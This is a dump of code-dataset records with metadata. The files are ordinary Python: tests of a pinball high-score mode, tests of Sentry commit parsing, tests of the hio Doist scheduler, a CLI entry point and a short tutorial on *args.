elif self._testMethodName == "testLoadData":
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 5),
('GHK', 4),
('JK', 3),
('QC', 2),
('MPF', 1)]
new_score_data['loops'] = []
return {"high_scores": new_score_data}
return super()._get_mock_data()
def testLoadData(self):
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 5),
('GHK', 4),
('JK', 3),
('QC', 2),
('MPF', 1)]
new_score_data['loops'] = []
self.assertEqual(new_score_data, self.machine.modes["high_score"].high_scores)
# no changes yet
self.assertEqual(None, self.machine.modes["high_score"].data_manager.written_data)
def testInvalidData(self):
self.start_game(4)
self.machine.game.game_ending()
self.advance_time_and_run(10)
# this should reload the defaults
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 4242),
('GHK', 2323),
('JK', 1337),
('QC', 42),
('MPF', 23)]
new_score_data['loops'] = [('JK', 42)]
self.assertEqual(new_score_data, self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
@test_config_directory("tests/machine_files/high_score_reverse/")
def test_reverse_sort(self):
self.start_game(4)
self.machine.game.game_ending()
self.advance_time_and_run()
new_score_data = OrderedDict()
new_score_data['score'] = [('BRI', 4242),
('GHK', 2323),
('JK', 1337),
('QC', 42),
('MPF', 23)]
new_score_data['loops'] = [('JK', 42)]
new_score_data['time_to_wizard'] = [('JK', 300),
('BM', 350)]
self.assertEqual(new_score_data, self.machine.modes["high_score"].high_scores)
self.assertEqual(new_score_data, self.machine.modes["high_score"].data_manager.written_data)
| 41.345351
| 119
| 0.563174
| 2,440
| 21,789
| 4.737295
| 0.087705
| 0.089541
| 0.068518
| 0.093434
| 0.843672
| 0.825677
| 0.811921
| 0.799723
| 0.781036
| 0.772731
| 0
| 0.055946
| 0.315021
| 21,789
| 526
| 120
| 41.423954
| 0.718526
| 0.045711
| 0
| 0.796954
| 0
| 0
| 0.117128
| 0.054156
| 0
| 0
| 0
| 0
| 0.162437
| 1
| 0.048223
| false
| 0
| 0.010152
| 0.005076
| 0.073604
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b920b84d96fa7360f8e1b36bab82b78d851ccc77
| 2,667
|
py
|
Python
|
tests/sentry/models/test_commit.py
|
AlexWayfer/sentry
|
ef935cda2b2e960bd602fda590540882d1b0712d
|
[
"BSD-3-Clause"
] | 1
|
2022-02-09T22:56:49.000Z
|
2022-02-09T22:56:49.000Z
|
tests/sentry/models/test_commit.py
|
AlexWayfer/sentry
|
ef935cda2b2e960bd602fda590540882d1b0712d
|
[
"BSD-3-Clause"
] | 196
|
2019-06-10T08:34:10.000Z
|
2022-02-22T01:26:13.000Z
|
tests/sentry/models/test_commit.py
|
AlexWayfer/sentry
|
ef935cda2b2e960bd602fda590540882d1b0712d
|
[
"BSD-3-Clause"
] | null | null | null |
from __future__ import absolute_import
from hashlib import sha1
from uuid import uuid4
from sentry.models import Commit, Repository
from sentry.testutils import TestCase
class FindReferencedGroupsTest(TestCase):
def test_multiple_matches_basic(self):
group = self.create_group()
group2 = self.create_group()
repo = Repository.objects.create(
name='example',
organization_id=self.group.organization.id,
)
commit = Commit.objects.create(
key=sha1(uuid4().hex).hexdigest(),
repository_id=repo.id,
organization_id=group.organization.id,
message=u'Foo Biz\n\nFixes {} {}'.format(
group.qualified_short_id,
group2.qualified_short_id,
),
)
groups = commit.find_referenced_groups()
assert len(groups) == 2
assert group in groups
assert group2 in groups
commit = Commit.objects.create(
key=sha1(uuid4().hex).hexdigest(),
repository_id=repo.id,
organization_id=group.organization.id,
message=u'Foo Biz\n\Resolved {} {}'.format(
group.qualified_short_id,
group2.qualified_short_id,
),
)
groups = commit.find_referenced_groups()
assert len(groups) == 2
assert group in groups
assert group2 in groups
commit = Commit.objects.create(
key=sha1(uuid4().hex).hexdigest(),
repository_id=repo.id,
organization_id=group.organization.id,
message=u'Foo Biz\n\Close {} {}'.format(
group.qualified_short_id,
group2.qualified_short_id,
),
)
groups = commit.find_referenced_groups()
assert len(groups) == 2
assert group in groups
assert group2 in groups
def test_multiple_matches_comma_separated(self):
group = self.create_group()
group2 = self.create_group()
repo = Repository.objects.create(
name='example',
organization_id=self.group.organization.id,
)
commit = Commit.objects.create(
key=sha1(uuid4().hex).hexdigest(),
repository_id=repo.id,
organization_id=group.organization.id,
message=u'Foo Biz\n\nFixes {}, {}'.format(
group.qualified_short_id,
group2.qualified_short_id,
),
)
groups = commit.find_referenced_groups()
assert len(groups) == 2
assert group in groups
assert group2 in groups
| 30.306818
| 55
| 0.584927
| 280
| 2,667
| 5.392857
| 0.192857
| 0.111258
| 0.084768
| 0.066225
| 0.831788
| 0.831788
| 0.831788
| 0.831788
| 0.831788
| 0.831788
| 0
| 0.013296
| 0.32321
| 2,667
| 87
| 56
| 30.655172
| 0.823269
| 0
| 0
| 0.75
| 0
| 0
| 0.038995
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.027778
| false
| 0
| 0.069444
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b92d031cd245f7eb853622a8aa907d0855609fa0
| 25,920
|
py
|
Python
|
tests/base/test_doist.py
|
ProSapien/hio
|
7c7110611d424ab2e04c277d8d6605cc0e2c8e79
|
[
"Apache-2.0"
] | null | null | null |
tests/base/test_doist.py
|
ProSapien/hio
|
7c7110611d424ab2e04c277d8d6605cc0e2c8e79
|
[
"Apache-2.0"
] | null | null | null |
tests/base/test_doist.py
|
ProSapien/hio
|
7c7110611d424ab2e04c277d8d6605cc0e2c8e79
|
[
"Apache-2.0"
] | null | null | null |
# -*- encoding: utf-8 -*-
"""
tests.core.test_cycling module
"""
import pytest
import inspect
from hio.base import doing
from hio.base import doing
from hio.base.basing import State
def test_doist_once():
"""
Test doist.once with dogs
"""
doist = doing.Doist(tock=0.25)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == 0.25
assert doist.real == False
assert doist.limit == None
assert doist.doers == []
doer0 = doing.WhoDoer(tock=0.25, tymist=doist)
doer1 = doing.WhoDoer(tock=0.5, tymist=doist)
doers = [doer0, doer1]
dogs = doist.ready(doers=doers)
assert len(dogs) == 2
assert [val[1] for val in dogs] == [0.0, 0.0]
for doer in doers:
assert doer._tymist == doist
assert doer.states == [State(tyme=0.0, context='enter', feed=0.0, count=0)]
assert doer.done == False
doist.once(dogs)
assert doist.tyme == 0.25 # on next cycle
assert len(dogs) == 2
assert [val[1] for val in dogs] == [0.25, 0.5]
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1)]
doist.once(dogs)
assert doist.tyme == 0.5 # on next cycle
assert len(dogs) == 2
assert [val[1] for val in dogs] == [0.5, 0.5]
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1)]
doist.once(dogs)
assert doist.tyme == 0.75 # on next cycle
assert len(dogs) == 2
assert [val[1] for val in dogs] == [0.75, 1.0]
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2),
State(tyme=0.5, context='recur', feed=0.5, count=3)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.5, context='recur', feed=0.5, count=2)]
doist.once(dogs)
assert doist.tyme == 1.0 # on next cycle
assert len(dogs) == 1
assert [val[1] for val in dogs] == [1.0]
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2),
State(tyme=0.5, context='recur', feed=0.5, count=3),
State(tyme=0.75, context='recur', feed=0.75, count=4),
State(tyme=0.75, context='exit', feed=None, count=5)]
assert doer0.done == True
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.5, context='recur', feed=0.5, count=2)]
doist.once(dogs)
assert doist.tyme == 1.25 # on next cycle
assert len(dogs) == 1
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2),
State(tyme=0.5, context='recur', feed=0.5, count=3),
State(tyme=0.75, context='recur', feed=0.75, count=4),
State(tyme=0.75, context='exit', feed=None, count=5)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.5, context='recur', feed=0.5, count=2),
State(tyme=1.0, context='recur', feed=1.0, count=3)]
doist.once(dogs)
assert doist.tyme == 1.50 # on next cycle
assert len(dogs) == 1
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2),
State(tyme=0.5, context='recur', feed=0.5, count=3),
State(tyme=0.75, context='recur', feed=0.75, count=4),
State(tyme=0.75, context='exit', feed=None, count=5)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.5, context='recur', feed=0.5, count=2),
State(tyme=1.0, context='recur', feed=1.0, count=3)]
doist.once(dogs)
assert doist.tyme == 1.75 # on next cycle
assert len(dogs) == 0
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.25, context='recur', feed=0.25, count=2),
State(tyme=0.5, context='recur', feed=0.5, count=3),
State(tyme=0.75, context='recur', feed=0.75, count=4),
State(tyme=0.75, context='exit', feed=None, count=5)]
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.5, context='recur', feed=0.5, count=2),
State(tyme=1.0, context='recur', feed=1.0, count=3),
State(tyme=1.5, context='recur', feed=1.5, count=4),
State(tyme=1.5, context='exit', feed=None, count=5)]
assert doer1.done == True
"""End Test """
def test_doist_doers():
"""
Test doist.do with .close of .dogs
"""
tock = 0.03125
doist = doing.Doist(tock=tock)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == None
assert doist.doers == []
doer0 = doing.WhoDoer(tock=tock, tymist=doist)
doer1 = doing.WhoDoer(tock=tock*2, tymist=doist)
assert doer0.tock == tock
assert doer1.tock == tock * 2
doers = [doer0, doer1]
for doer in doers:
assert doer._tymist == doist
assert doer.states == []
assert doer.count == None
assert doer.done == None
ticks = 4
limit = tock * ticks
doist.do(doers=doers, limit=limit)
assert doist.tyme == limit == 0.125
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == True
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer1.done == False
doist = doing.Doist(tock=tock, real=True, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.125
assert doist.doers == []
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doist.do(doers=doers)
assert doist.tyme == limit == 0.125
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == True
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer1.done == False
# doers passed to Doist init
doist = doing.Doist(tock=tock, real=True, limit=limit, doers=doers)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.125
assert doist.doers == doers
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doist.do()
assert doist.tyme == limit == 0.125
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == True
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer1.done == False
# Run ASAP
doist = doing.Doist(tock=tock, real=False, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == limit == 0.125
assert doist.doers == []
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doer.tock = 0.0 # run asap
assert doer.tock == 0.0
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == doer1.done == True
assert doer1.states == doer0.states
doist = doing.Doist(tock=tock, real=True, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.125
assert doist.doers == []
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doer.tock = 0.0 # run asap
assert doer.tock == 0.0
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == doer1.done == True
assert doer1.states == doer0.states
# Low limit force close
ticks = 2
limit = tock * ticks
doist = doing.Doist(tock=tock, real=False, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == limit == 0.0625
assert doist.doers == []
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doer.tock = 0.0 # run asap
assert doer.tock == 0.0
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='close', feed=None, count=3),
State(tyme=0.0625, context='exit', feed=None, count=4)]
assert doer0.done == doer1.done == False
assert doer1.states == doer0.states
# low limit force close real time
doist = doing.Doist(tock=tock, real=True, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.0625
assert doist.doers == []
for doer in doers:
doer.states = []
assert doer.states == []
doer._tymist = doist
assert doer._tymist == doist
doer.tock = 0.0 # run asap
assert doer.tock == 0.0
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='close', feed=None, count=3),
State(tyme=0.0625, context='exit', feed=None, count=4)]
assert doer0.done == doer1.done == False
assert doer1.states == doer0.states
"""End Test """
def test_nested_doers():
"""
Test Doist running nested DoDoers and Doers
"""
tock = 0.03125
doist = doing.Doist(tock=tock)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == None
assert doist.doers == []
doer0 = doing.WhoDoer(tock=0.0, tymist=doist)
doer1 = doing.WhoDoer(tock=tock*2, tymist=doist)
assert doer0.tock == 0.0
assert doer1.tock == tock * 2
aDoers = [doer0, doer1]
for doer in aDoers:
assert doer._tymist == doist
assert doer.states == []
assert doer.count == None
assert doer.done == None
aDoer = doing.DoDoer(tock=0.0, tymist=doist, doers=aDoers)
assert aDoer.doers == aDoers
assert aDoer._tymist == doist
assert aDoer.done == None
doer2 = doing.WhoDoer(tock=0.0, tymist=doist)
doer3 = doing.WhoDoer(tock=tock*4, tymist=doist)
assert doer2.tock == 0.0
assert doer3.tock == tock * 4
bDoers = [doer2, doer3]
for doer in bDoers:
assert doer._tymist == doist
assert doer.states == []
assert doer.count == None
assert doer.done == None
bDoer = doing.DoDoer(tock=tock*2, tymist=doist, doers=bDoers)
assert bDoer.doers == bDoers
assert bDoer._tymist == doist
assert bDoer.done == None
doers = [aDoer, bDoer]
ticks = 8
limit = tock * ticks
doist.do(doers=doers, limit=limit) # run em all
assert doist.tyme == limit == 0.25
assert aDoer.done == True
assert bDoer.done == False
assert doer0.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer1.done == True
assert doer1.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='recur', feed=0.125, count=3),
State(tyme=0.1875, context='recur', feed=0.1875, count=4),
State(tyme=0.1875, context='exit', feed=None, count=5)]
assert doer1.done == True
assert doer2.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='recur', feed=0.125, count=3),
State(tyme=0.1875, context='recur', feed=0.1875, count=4),
State(tyme=0.1875, context='exit', feed=None, count=5)]
assert doer2.done == True
assert doer3.states == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.125, context='recur', feed=0.125, count=2),
State(tyme=0.25, context='close', feed=None, count=3),
State(tyme=0.25, context='exit', feed=None, count=4)]
assert doer3.done == False
"""End Test """
def test_doist_dos():
"""
Test doist.do with dos generator functions not generator methods
"""
tock = 0.03125
doist = doing.Doist(tock=tock)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == None
assert doist.doers == []
doer0 = doing.doify(doing.whoDo, name='gf0', tock=tock, states=None)
assert inspect.isgeneratorfunction(doer0)
assert doer0.opts["states"] == None
doer0.opts['states'] = []
assert doer0.tock == tock
assert doer0.done == None
doer1 = doing.doify(doing.whoDo, name='gf1', tock=tock*2)
assert inspect.isgeneratorfunction(doer1)
assert not doer1.opts
doer1.opts['states'] = []
assert doer1.tock == tock * 2
assert doer1.done == None
assert doer0 is not doer1
doer2 = doing.exDo
assert inspect.isgeneratorfunction(doer2)
assert doer2.opts["states"] == None
doer2.opts["states"] = []
doer2.tock = tock * 2
assert doer2.done == None
doers = [doer0, doer1, doer2]
for doer in doers:
assert doer.opts['states'] == []
ticks = 4
limit = tock * ticks
doist.do(doers=doers, limit=limit)
assert doist.tyme == limit == 0.125
assert doer0.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer0.done == True
assert doer1.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer1.done == False
assert doer2.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer2.done == False
# repeat but real time
doist = doing.Doist(tock=tock, real=True, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.125
assert doist.doers == []
for doer in doers:
doer.opts['states'] = []
assert doer.opts['states'] == []
doer.done = None
doist.do(doers=doers)
assert doist.tyme == limit == 0.125
assert doer0.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='recur', feed=0.0625, count=3),
State(tyme=0.09375, context='recur', feed=0.09375, count=4),
State(tyme=0.09375, context='exit', feed=None, count=5)]
assert doer1.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
assert doer2.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.0625, context='recur', feed=0.0625, count=2),
State(tyme=0.125, context='close', feed=None, count=3),
State(tyme=0.125, context='exit', feed=None, count=4)]
# Low limit force close
ticks = 2
limit = tock * ticks
doist = doing.Doist(tock=tock, real=False, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == False
assert doist.limit == limit == 0.0625
assert doist.doers == []
for doer in doers:
doer.opts['states'] = []
assert doer.opts['states'] == []
doer.tock = 0.0 # run asap
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='close', feed=None, count=3),
State(tyme=0.0625, context='exit', feed=None, count=4)]
assert doer0.opts["states"] == doer1.opts["states"] == doer2.opts["states"]
# low limit force close real time
doist = doing.Doist(tock=tock, real=True, limit=limit)
assert doist.tyme == 0.0 # on next cycle
assert doist.tock == tock == 0.03125
assert doist.real == True
assert doist.limit == limit == 0.0625
assert doist.doers == []
for doer in doers:
doer.opts['states'] = []
assert doer.opts['states'] == []
doer.tock = 0.0 # run asap
doist.do(doers=doers)
assert doist.tyme == limit
assert doer0.opts["states"] == [State(tyme=0.0, context='enter', feed=0.0, count=0),
State(tyme=0.0, context='recur', feed=0.0, count=1),
State(tyme=0.03125, context='recur', feed=0.03125, count=2),
State(tyme=0.0625, context='close', feed=None, count=3),
State(tyme=0.0625, context='exit', feed=None, count=4)]
assert doer0.opts["states"] == doer1.opts["states"] == doer2.opts["states"]
"""End Test """
if __name__ == "__main__":
test_doist_dos()
| 44.156729
| 88
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| null | 0
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0
| 8
|
b97093ef1c73692cdc272841abb161564df78d97
| 32
|
py
|
Python
|
external/models/basic_USE/__init__.py
|
swapUniba/Elliot_refactor-tesi-Ventrella
|
3ddffc041696c90a6f6d3e8906c212fc4f55f842
|
[
"Apache-2.0"
] | null | null | null |
external/models/basic_USE/__init__.py
|
swapUniba/Elliot_refactor-tesi-Ventrella
|
3ddffc041696c90a6f6d3e8906c212fc4f55f842
|
[
"Apache-2.0"
] | null | null | null |
external/models/basic_USE/__init__.py
|
swapUniba/Elliot_refactor-tesi-Ventrella
|
3ddffc041696c90a6f6d3e8906c212fc4f55f842
|
[
"Apache-2.0"
] | null | null | null |
from .basic_USE import basic_USE
| 32
| 32
| 0.875
| 6
| 32
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b9795cde7d694593b068deaa501d56afa5398e6c
| 178
|
py
|
Python
|
source/optmath/__main__.py
|
Argmaster/optmath
|
389095436bb551c53db710bc3a2d95a3fb8ae0a6
|
[
"MIT"
] | null | null | null |
source/optmath/__main__.py
|
Argmaster/optmath
|
389095436bb551c53db710bc3a2d95a3fb8ae0a6
|
[
"MIT"
] | null | null | null |
source/optmath/__main__.py
|
Argmaster/optmath
|
389095436bb551c53db710bc3a2d95a3fb8ae0a6
|
[
"MIT"
] | null | null | null |
"""CLI entry point."""
import sys
from .cli import auto_load_commands_from_cli_folder, cli
def main():
auto_load_commands_from_cli_folder()
cli(sys.argv[1:])
| 17.8
| 57
| 0.696629
| 27
| 178
| 4.222222
| 0.518519
| 0.184211
| 0.280702
| 0.350877
| 0.561404
| 0.561404
| 0.561404
| 0
| 0
| 0
| 0
| 0.006944
| 0.191011
| 178
| 9
| 58
| 19.777778
| 0.784722
| 0.089888
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b9865f99df95d53571ef8c0afdfd6b71e32bc95e
| 512
|
py
|
Python
|
args.py
|
franciscoRic/Aula-Python
|
bc767b2ff22526ad0c3cc4ab51ee5227be9ce399
|
[
"MIT"
] | null | null | null |
args.py
|
franciscoRic/Aula-Python
|
bc767b2ff22526ad0c3cc4ab51ee5227be9ce399
|
[
"MIT"
] | null | null | null |
args.py
|
franciscoRic/Aula-Python
|
bc767b2ff22526ad0c3cc4ab51ee5227be9ce399
|
[
"MIT"
] | null | null | null |
"""
Entendo os *args
# Exemplos
def soma_todos_numeros(num1, num2, num3):
return num1 + num2 + num3
print(soma_todos_numeros(1, 2, 3))
def soma_todos_numeros(*args):
total = 0
for numero in args:
total = total + numero
return total
ou
"""
# Entendendo o *args
def soma_todos_numeros(*args):
return sum(args)
print(soma_todos_numeros())
print(soma_todos_numeros(1))
print(soma_todos_numeros(2, 3))
print(soma_todos_numeros(4, 5, 6))
print(soma_todos_numeros(7, 8, 9, 10))
| 14.628571
| 41
| 0.6875
| 80
| 512
| 4.175
| 0.4
| 0.242515
| 0.431138
| 0.377246
| 0.269461
| 0
| 0
| 0
| 0
| 0
| 0
| 0.050602
| 0.189453
| 512
| 34
| 42
| 15.058824
| 0.754217
| 0.548828
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088235
| 0
| 1
| 0.142857
| true
| 0
| 0
| 0.142857
| 0.285714
| 0.714286
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
|
0
| 7
|
